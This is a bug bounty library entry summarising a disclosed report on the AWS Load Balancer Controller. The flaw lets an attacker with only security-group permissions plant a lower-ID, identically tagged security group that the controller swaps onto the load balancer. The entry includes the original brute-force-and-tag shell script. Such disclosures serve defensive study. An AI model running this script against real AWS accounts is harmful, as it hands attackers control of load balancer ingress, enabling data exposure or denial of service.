# AWS Load Balancer Controller Managed Security Groups can be replaced by an unprivileged attacker

Attacker creates a security group with matching controller tags and a lower ID, tricking AWS Load Balancer Controller into swapping it onto the ALB, exposing all ports.

- Payout: $500
- Severity: medium
- Program: Kubernetes
- Found by: t0rr3sp3dr0
- Disclosed: 2022-06-02
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1238017
- Library page: https://bugbountylibrary.com/r/h1%3A1238017
- Tags: area:cloud domain:cloud impact:dos impact:internal-access kind:bounty platform:hackerone sev:medium tech:aws tech:kubernetes technique:recon vuln:access-control vuln:misconfiguration

**Target:** AWS Load Balancer Controller (kubernetes-sigs) managed security group reconciliation
**Root cause:** Controller selects the first SG returned by AWS SDK among multiple SGs matching the same three tags, and deletes the others; SDK returns SGs sorted by ID, so a lower-ID attacker SG wins.
**Steps:**
1. Deploy an Ingress of class `alb` so the controller creates a managed SG with tags `elbv2.k8s.aws/cluster`, `ingress.k8s.aws/stack`, `ingress.k8s.aws/resource=ManagedLBSecurityGroup`.
2. Brute-force create/delete SGs until one gets an ID numerically lower than the managed SG (e.g. below `sg-00800000000000000` covers >96%).
3. Tag the surviving attacker SG with the same three tag values as the managed SG.
4. Wait for or trigger controller reconciliation (Ingress modification, controller pod restart, node drain).
5. Controller attaches the attacker SG to the ALB and deletes the legit managed SG; attacker edits SG rules to open all ports or block traffic.
**How found:** Noticed the controller uses three tags to identify its managed SG and that the AWS SDK returns SGs sorted by ID; hypothesized that a duplicate-tagged SG with a lower ID would be selected and the legit one deleted.
**Exploitation:** Attacker with only EC2 security-group create/tag permissions (no K8s access, no ALB modify rights) creates a lower-ID SG bearing the controller's expected tags, then waits for reconciliation; the controller swaps it in, giving the attacker full control of ALB ingress rules for data access or DoS.
**Escalation:** None beyond SG rule manipulation; requires user interaction (reconciliation trigger) unless attacker has higher privileges.
**Insight:** When a controller identifies cloud resources by tags rather than by stored ID, check whether duplicate-tagged resources can be created by a lower-privileged principal and whether selection is deterministic (e.g. SDK sort order) so an attacker can win the race.

## Proof of concept (copied exactly from the original report)

**Brute-force SG id and tag evil-twin security group**

```
VPC_ID=vpc-00123456789abcdef
CLUSTER_NAME=kind
NAMESPACED_NAME=echoserver/echoserver

MANAGED_SG_ID=sg-00123456789abcdef
MANAGED_SG_10=$(echo ${MANAGED_SG_ID} | awk '{ print "ibase=16;" toupper(substr($0,4)) }' | bc)

while true
do
	UNMANAGED_SG_ID=$(aws ec2 create-security-group --description unmanaged-sg --group-name unmanaged-sg --vpc-id ${VPC_ID} | jq -r .GroupId)
	UNMANAGED_SG_10=$(echo ${UNMANAGED_SG_ID} | awk '{ print "ibase=16;" toupper(substr($0,4)) }' | bc)

	if [ ${UNMANAGED_SG_10} -lt ${MANAGED_SG_10} ]
	then
		break
	fi

	aws ec2 delete-security-group --group-id ${UNMANAGED_SG_ID}
done

aws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags "Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}" "Key=ingress.k8s.aws/stack,Value=${NAMESPACED_NAME}" "Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup"
```

